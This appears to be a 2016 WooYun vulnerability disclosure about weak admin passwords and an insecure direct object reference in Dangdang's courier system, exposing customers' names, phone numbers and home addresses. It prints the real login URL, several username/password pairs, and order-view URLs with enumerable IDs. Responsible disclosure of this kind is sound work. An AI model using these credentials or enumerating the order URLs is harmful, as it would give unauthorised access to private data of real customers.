漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2016-0194464
漏洞标题：当当网某漏洞影响15年1月1号至今数千万快递信息（收货人姓名/手机号/详细家庭住址已在贩卖）
相关厂商：当当网
漏洞作者： getshell1993
提交时间：2016-04-10 09:14
修复时间：2016-05-26 10:10
公开时间：2016-05-26 10:10
漏洞类型：后台弱口令
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2016-04-10： 细节已通知厂商并且等待厂商处理中
2016-04-11： 厂商已经确认，细节仅向厂商公开
2016-04-21： 细节向核心白帽子及相关领域专家公开
2016-05-01： 细节向普通白帽子公开
2016-05-11： 细节向实习白帽子公开
2016-05-26： 细节向公众公开
简要描述：
看来问题要公开厂商才会重视
江苏省15年1月1号至今运单合计：5632290
全国23个省的话保守估计数千万甚至上亿（实时数据，含收货人姓名/手机号/详细家庭住址）
QQ群经常有人在售卖当当网数据……
详细说明：
起因 一个月前nosec平台上有人发了QQ群每天黑产在售卖当当网数据的威胁情报
https://nosec.org/my/threats/874
第二天晚上看了一下发现当当快递管理系统存在大量弱口令，可以获取到大量用户实时数据，跟搞黑产发的截图信息很相似，于是在nosec上补充了细节，武哥那边也通知了厂商。
……
隔了一个月时间，今晚再次看发现厂商修复了一部分，提供的部分弱密码改了，设置新密码也加强了密码强度，需要10位以上，但是旧的弱口令没排查，重置新密码后还是可以登录！想了想还是来乌云一发
http://ecadmin.ddexp.com.cn/ 当当快递系统
txtUsername=chenrui&txtPassword=chenrui123（登陆需要强制修改密码，改成1234qwer!@#$）
txtUsername=zhaopengfei&txtPassword=zhaopengfei123
txtUsername=huying&txtPassword=huying123
txtUsername=lizhidan&txtPassword=lizhidan123
txtUsername=yangting&txtPassword=yangting123
江苏省一个省份15年1月1号至今运单合计：5632290 后台支持一键导出excel表
这仅仅是一个省份的
打开其中一个看一下，含收货人姓名/手机号/详细家庭住址
漏洞证明：
然而订单的地方存在越权，可以进一步获取到全国当当的快递数据。
简单列举今晚其中几个省份的快递数据
江苏省 2016-4-9 21:35:34
http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602691944
湖北省
http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602691967
安徽省
http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602691999
陕西省
http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602692094
广西省
http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602692177
湖南省
http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602692124
广东省
http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602692230
山西省
http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602692360
…………
不再一一列举
23省*500万，上亿数据都有可能。。
声明：好人一个，未动任何数据
修复方案：
赶紧下线处理吧。。
版权声明：转载请注明来源 getshell1993@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：16
确认时间：2016-04-11 10:07
厂商回复：
感谢对当当安全的支持
最新状态：
暂无
漏洞评价：
评价
-
泄露信息增长速度太恐怖了，昨晚到现在又增加10几万数据。黑产贩卖一条数据几毛钱。。。
( 普通白帽子 | Rank:1140 漏洞数:122 | ~！@#￥%……&*)